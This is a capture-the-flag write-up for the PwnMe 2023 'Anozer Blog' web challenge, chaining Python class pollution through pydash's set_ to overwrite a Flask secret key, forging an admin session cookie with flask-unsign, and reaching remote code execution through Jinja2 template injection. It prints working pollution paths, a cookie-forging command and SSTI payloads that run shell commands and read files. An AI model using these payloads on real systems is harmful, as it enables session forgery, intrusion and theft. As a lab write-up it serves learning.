# Anozer Blog
## Enumeration
**Home page:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230506222955.png)
In here, we can see this web application is a blog, and it's about pollution! (Prototype pollution? :D)
**Articles page:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230506223142.png)
In here, we can create a new article, with it's name and content.
**Register page:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230506223153.png)
**Login page:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230506223203.png)
**Since this challenge provided the [source code](https://github.com/siunam321/CTF-Writeups/blob/main/PwnMe-2023-8-bits/Web/Anozer-Blog/another-blog.zip), let's read through them!**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Web/Anozer-Blog)-[2023.05.06|22:33:09(HKT)]└> file another-blog.zip     another-blog.zip: Zip archive data, at least v2.0 to extract, compression method=store┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Web/Anozer-Blog)-[2023.05.06|22:33:10(HKT)]└> unzip another-blog.zip Archive:  another-blog.zip   creating: blog_pollution/  inflating: blog_pollution/app.py   inflating: blog_pollution/articles.py  extracting: blog_pollution/config.yaml    inflating: blog_pollution/docker-compose.yml    inflating: blog_pollution/Dockerfile   extracting: blog_pollution/flag.txt    inflating: blog_pollution/input.css    inflating: blog_pollution/package-lock.json   extracting: blog_pollution/package.json   extracting: blog_pollution/requirements.txt     creating: blog_pollution/static/  inflating: blog_pollution/static/style.css    inflating: blog_pollution/tailwind.config.js     creating: blog_pollution/templates/  inflating: blog_pollution/templates/article.html    inflating: blog_pollution/templates/articles.html    inflating: blog_pollution/templates/banner.html    inflating: blog_pollution/templates/head.html    inflating: blog_pollution/templates/home.html    inflating: blog_pollution/templates/login.html    inflating: blog_pollution/templates/register.html    inflating: blog_pollution/users.py```
**In `app.py`, we see 2 routes:**```pyfrom re import templatefrom flask import Flask, render_template, render_template_string, request, redirect, session, sessionsfrom users import Usersfrom articles import Articles
users = Users()articles  = Articles()app = Flask(__name__, template_folder='templates')app.secret_key = '(:secret:)'[...]@app.route("/register", methods=["POST", "GET"])def register():    if request.method == 'GET':        return render_template('register.html')    username, password = request.form.get('username'), request.form.get('password')    if type(username) != str or type(password) != str:        return render_template("register.html", error="Wtf are you trying bro ?!")    result = users.create(username, password)    if result == 1:        session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}        return redirect("/")    elif result == 0:        return render_template("register.html", error="User already registered")    else:        return render_template("register.html", error="Error while registering user")
@app.route("/login", methods=["POST", "GET"])def login():    if request.method == 'GET':        return render_template('login.html')    username, password = request.form.get('username'), request.form.get('password')    if type(username) != str or type(password) != str:        return render_template('login.html', error="Wtf are you trying bro ?!")    if users.login(username, password) == True:        session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']}        return redirect("/")    else:        return render_template("login.html", error="Error while login user")[...]```
Those 2 routes are doing login and register stuff.
**`user.py`:**```pyimport hashlib
class Users:
    users = {}
    def __init__(self):        self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }
    def create(self, username, password):        if username in self.users:            return 0        self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False}        return 1     def login(self, username, password):        if username in self.users and self.users[username]['password'] == hashlib.sha256(password.encode()).hexdigest():            return True        return False     def seeTemplate(self, username, value):        if username in self.users and self.users[username].restricted == False:            self.users[username].seeTemplate = value
    def __getitem__(self, username):        if username in self.users:            return self.users[username]        return None```
In this `Users` class, we can see that all users are stored in a dictionary, which means **no SQL injection**...
So, what's our goal in this challenge?
When we registered a new user, **it sets `restricted` to `True`, and `seeTemplate` to `False`.**
What's `restricted` doing?
**It's used in the `/show_template` route:**```py[...]@app.route('/show_template')def show_template():    if 'user' in session and users[session['user']['username']]['restricted'] == False:        if request.args.get('value') == '1':            users[session['user']['username']]['seeTemplate'] = True            session['user']['seeTemplate'] = True        else:            users[session['user']['username']]['seeTemplate'] = False            session['user']['seeTemplate'] = False    return redirect('/articles')[...]```
When `value` GET parameter is provided and it's value is `1`, it sets user's `seeTemplate` to `True`.
**Then, in `/templates/banner.html`, we see this:**
![](https://siunam321.github.io/ctf/PwnMe-2023-8-bits/Web/Anozer-Blog/images/img1.png)
In here, we can see that **the template view is only for admin**, which means we need to do privilege escalation?
Also, there's a `<script>` element. When the checkbox is changed and checked, redirect the user to `/show_template?value=1`.
**Simulate after logged in home page view:** (The `<label>` element's `style` attribute's `display: none` is removed.)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230506231549.png)
Hmm... With that said, we need to somehow set our user as not restricted, so that we can see the template view.
Uhh... What can we do with that??
**In route `/articles/<name>`, we see something weird:**```py@app.route("/articles/<name>")def render_page(name):    article_content = articles[name]    if article_content == None:        pass    if 'user' in session and users[session['user']['username']]['seeTemplate'] != False:        article_content = render_template_string(article_content)    return render_template('article.html', article={'name':name, 'content':article_content})```
If the user can see template, **it uses `render_template_string()` function with the `article_content`?**
What does `render_template_string()` function do?
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230506232821.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230506232829.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230506232841.png)
Hmm... Which means **if we're not a restricted user, we can abuse the `render_template_string()` function to exploit Server-Side Template Injection (SSTI) vulnerability via creating a new article with SSTI payload in the content, thus having Remote Code Execution (RCE), and read the flag!**
But... How can we even get rid of the restricted user...
Ah! **Pollution**
**Then, I decided to Google: "python prototype pollution"**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230506233254.png)
"Class Pollution"?
**In [Abdulrah33m's Blog](https://blog.abdulrah33m.com/prototype-pollution-in-python/), he explains how Class Pollution works.**
In Python, everything is an object, and it has some special methods like `__str__()`, `__eq__()`, `__call__()`. Also, there are also other special attributes in every object in Python, such as `__class__`, `__doc__`, etc, each of these attributes is used for a specific purpose.
**That being said, we can use the `__qualname__` attribute that is inside `__class__` to pollute the class and set `__qualname__` attribute to an arbitrary string:**```pyclass Employee: pass # Creating an empty class
emp = Employee()emp.__class__.__qualname__ = 'Polluted'
print(emp)print(Employee)
#> <__main__.Polluted object at 0x0000024765C48250>#> <class '__main__.Polluted'>```
Then, we can abuse the **recursive merge function**!
The recursive merge function can exist in various ways and implementations and might be used to accomplish different tasks, such as merging two or more objects, using JSON to set an object’s attributes, etc. The key functionality to look for is a function that gets untrusted input that we control and use it to set attributes of an object recursively.
Luckly, `__getattr__` and `__setattr__` attribute of an object but also allows us to recursively traverse and set items:
```pyclass Employee: pass # Creating an empty class
def merge(src, dst):    # Recursive merge function    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)
emp_info = {    "name":"Ahemd",    "age": 23,    "manager":{        "name":"Sarah"        }    }
emp = Employee()print(vars(emp))
merge(emp_info, emp)
print(vars(emp))print(f'Name: {emp.name}, age: {emp.age}, manager name: {emp.manager.get("name")}')
#> {}#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}#> Name: Ahemd, age: 23, manager name: Sarah```
In the code above, we have a merge function that takes an instance `emp` of the empty `Employee` class and employee’s info `emp_info` which is a dictionary (similar to JSON) that we control as an attacker. The merge function will read keys and values from the `emp_info` dictionary and set them on the given object `emp`. In the end, what was previously an empty instance should have the attributes and items that we gave in the dictionary.
**Now, we can overwrite some special attributes by using the `__qualname__` attribute of `Employee` class via `emp.__class__.__qualname__`:**```pyclass Employee: pass # Creating an empty class
def merge(src, dst):    # Recursive merge function    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)
emp_info = {    "name":"Ahemd",    "age": 23,    "manager":{            "name":"Sarah"        },    "__class__":{            "__qualname__":"Polluted"        }    }
emp = Employee()merge(emp_info, emp)
print(vars(emp))print(emp)print(emp.__class__.__qualname__)
print(Employee)print(Employee.__qualname__)
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}#> <__main__.Polluted object at 0x000001F80B20F5D0>#> Polluted
#> <class '__main__.Polluted'>#> Polluted```
We were able to pollute the `Employee` class, because an instance of that class is passed to the merge function, but what if we want to pollute the parent class as well? This is when `__base__` comes into play, `__base__` is another attribute of a class that points to the nearest parent class that it’s inheriting from, so if there is an inheritance chain, `__base__` will point to the last class that we inherit.
In the example shown below, `hr_emp.__class__` points to the `HR` class, while `hr_emp.__class__.__base__` points to the parent class of `HR` class which is `Employee` which we will be polluting.
```pyclass Employee: pass # Creating an empty classclass HR(Employee): pass # Class inherits from Employee class
def merge(src, dst):    # Recursive merge function    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)
emp_info = {    "__class__":{        "__base__":{            "__qualname__":"Polluted"            }        }    }
hr_emp = HR()merge(emp_info, hr_emp)
print(HR)print(Employee)
#> <class '__main__.HR'>#> <class '__main__.Polluted'>```
The same approach can be followed if we want to pollute any parent class (that isn’t one of the immutable types) in the inheritance chain, by chaining `__base__` together such as `__base__.__base__`, `__base__.__base__.__base__` and so on. 
Moreover, we can ***leverage the `__globals__` attribute to overwrite ANY variables in the code.***
Based on Python [documentation](https://docs.python.org/3/reference/datamodel.html) `__globals__` is “A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.”
To access items of `__globals__` attribute the merge function must be using `__getitem__` as previously mentioned.
`__globals__` attribute is accessible from any of the defined methods of the instance we control, such as `__init__`. We don’t have to use `__init__` in specific, we can use any defined method of that instance to access `__globals__` , however, most probably we will find `__init__` method on every class since this is the class constructor. We cannot use built-in methods inherited from the `object` class, such as `__str__` unless they were overridden. Keep in mind that `<instance>.__init__`, `<instance>.__class__.__init__` and `<class>.__init__` are all the same and point to the same class constructor.
```pydef merge(src, dst):    # Recursive merge function    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)
class User:    def __init__(self):        pass
class NotAccessibleClass: passnot_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable)print(NotAccessibleClass)
#> Polluted variable#> <class '__main__.PollutedClass'>```
We leveraged the special attribute `__globals__` to access and set an attribute of `NotAccessibleClass` class, and modify the global variable `not_accessible_variable`. `NotAccessibleClass` and `not_accessible_variable` wouldn’t be accessible without `__globals__` since the class isn’t a parent class of the instance we control and the variable isn’t an attribute of the class we control. However, since we can find a chain of attributes/items to access it from the instance we have, we were able to pollute `NotAccessibleClass` and `not_accessible_variable`.
**Real Examples of the Merge Function:**
**Pydash**, is a Python's library that Based on the **Lo-Dash** JavaScript library. However, Lo-Dash is one of the JavaScript libraries where Prototype Pollution was previously discovered.
In Pydash, **`set_`** and `set_with` functions are examples of recursive merge functions that we can leverage to pollute attributes.
In all the previous examples, the Pydash `set_` and `set_with` functions can be used instead of the merge function that we have written and it will still be exploitable in the same way. The only difference is that Pydash functions use dot notation such as `((<attribute>|<item>).)*(<attribute>|<item>)` to access attributes and items instead of the JSON format.
```pyimport pydash
class User:    def __init__(self):        pass
class NotAccessibleClass: passnot_accessible_variable = 'Hello'
pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')print(not_accessible_variable)
pydash.set_(User(), '__class__.__init__.__globals__.NotAccessibleClass.__qualname__','PollutedClass')print(NotAccessibleClass)
#> Polluted variable#> <class '__main__.PollutedClass'>```
**In the Abdulrah33m's blog post, we can see this:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507140456.png)
Ah ha! If we can leverage the Class Pollution, we can try to overwrite the Flask's secret key (It's used for JWT signing)!
**Let's register an account and login!**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507140645.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507140650.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507140703.png)
**We can decode the JWT:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507140735.png)
As you can see, in the header, the `seeTemplate` is set to `False`. **If we can overwrite the Flask's secret key, we can modify that key to `True`!!**
But how??
**In `articles.py`, it uses the Pydash library!**```pyimport pydash
class Articles:
    def __init__(self):        self.set('welcome', 'Test of new template system: {\%block test%}Block test{\%endblock%}')
    def set(self, article_name, article_content):        pydash.set_(self, article_name, article_content)        return True
    def get(self, article_name):        if hasattr(self, article_name):            return (self.__dict__[article_name])        return None     def remove(self, article_name):        if hasattr(self, article_name):            delattr(self, article_name)
    def get_all(self):        return self.__dict__
    def __getitem__(self, article_name):        return self.get(article_name)```
**The `set()` method is using Pydash's `set_` method!! Which is vulnerable to Class Pollution!**
## Exploitation
Armed with above information, we can read the flag via:
1. Pollute the Flask's secret key via exploiting Class Pollution in Pydash's `set_` method2. Sign and modify the session cookie to escalate our privilege to the `admin` user3. Gain RCE via exploiting SSTI vulnerability in `/articles/<name>` route
First off, we need to pollute the Flask's secret key.
**In the `/create` route, it uses `articles` object instance's `set()` method:**```py[...]@app.route("/create", methods=["POST"])def create_article():    name, content = request.form.get('name'), request.form.get('content')    if type(name) != str or type(content) != str or len(name) == 0:        return redirect('/articles')    articles.set(name, content)    return redirect('/articles')[...]```
**Let's test it locally:**```py#!/usr/bin/env python3import pydash
secret = 'hello'
class Articles:
    def __init__(self):        self.set('welcome', 'Test of new template system: {\%block test%}Block test{\%endblock%}')
    def set(self, article_name, article_content):        pydash.set_(self, article_name, article_content)        return True
    def get(self, article_name):        if hasattr(self, article_name):            return (self.__dict__[article_name])        return None     def remove(self, article_name):        if hasattr(self, article_name):            delattr(self, article_name)
    def get_all(self):        return self.__dict__
    def __getitem__(self, article_name):        return self.get(article_name)
if __name__ == '__main__':    articles  = Articles()
    name = '__class__.__init__.__globals__.secret'    content = 'Polluted secret'    articles.set(name, content)
    print(articles.get_all())    print(secret)```
```shellroot@2ff4890118ce:/python-docker# python test.py{'welcome': 'Test of new template system: {\%block test%}Block test{\%endblock%}'}Polluted secret```
It worked!
**After some painful debugging, I found [this CTF writeup from idekCTF 2022](https://ctftime.org/writeup/36082):**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507155751.png)
**When using the following payload, it polluted the Flask's secret key:**```py__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.secret_key```
**Debug route:**```pyapp.secret_key = '(:secret:)'youShallNotPass = 'no!'[...]@app.route('/youShallNotPass')def index_1():    print(youShallNotPass)    print(app.config)    # print(articles.__class__.__init__.__globals__)    return redirect('/')```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507160033.png)
```172.17.0.1 - - [07/May/2023 07:59:28] "POST /create HTTP/1.1" 302 -172.17.0.1 - - [07/May/2023 07:59:28] "GET /articles HTTP/1.1" 200 -172.17.0.1 - - [07/May/2023 07:59:28] "GET /static/style.css HTTP/1.1" 304 -no!<Config {'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': 'test', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>```
**Then, we can use [`flask-unsign`](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask#flask-unsign) to sign the session cookie with our polluted session key!**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Web/Anozer-Blog)-[2023.05.07|16:13:44(HKT)]└> /home/siunam/.local/bin/flask-unsign --sign --cookie "{'user': {'seeTemplate': True, 'username': 'admin'}}" --secret 'test'eyJ1c2VyIjp7InNlZVRlbXBsYXRlIjp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn19.ZFdeIw._87tCmpjZdrlwxeR1co-5ziDycg```
> Note: The `admin` user is not restricted and can see template.
**And change the original one:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507161704.png)
Boom!! We're the admin user now!!!
**Now, let's view the `welcome` article, and it SHOULD render the `if` block:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507162007.png)
**Before admin:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507162051.png)
Nice!!! It does!!
With that said, let's exploit RCE via SSTI vulnerability!
**According to [HackTricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python), we can gain RCE via the following payload:**```py{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507162317.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507162323.png)
Yes!!! Let's read the flag!!!
```py{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /app/flag.txt').read() }}```
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507162550.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/PwnMe-2023-8-bits/images/Pasted%20image%2020230507162623.png)
- **Flag: `PWNME{de3P_pOL1uTi0n_cAn_B3_D3s7rUctIv3}`**
## Conclusion
What we've learned:
1. Exploiting Class Pollution (Python's Prototype Pollution) & RCE Via SSTI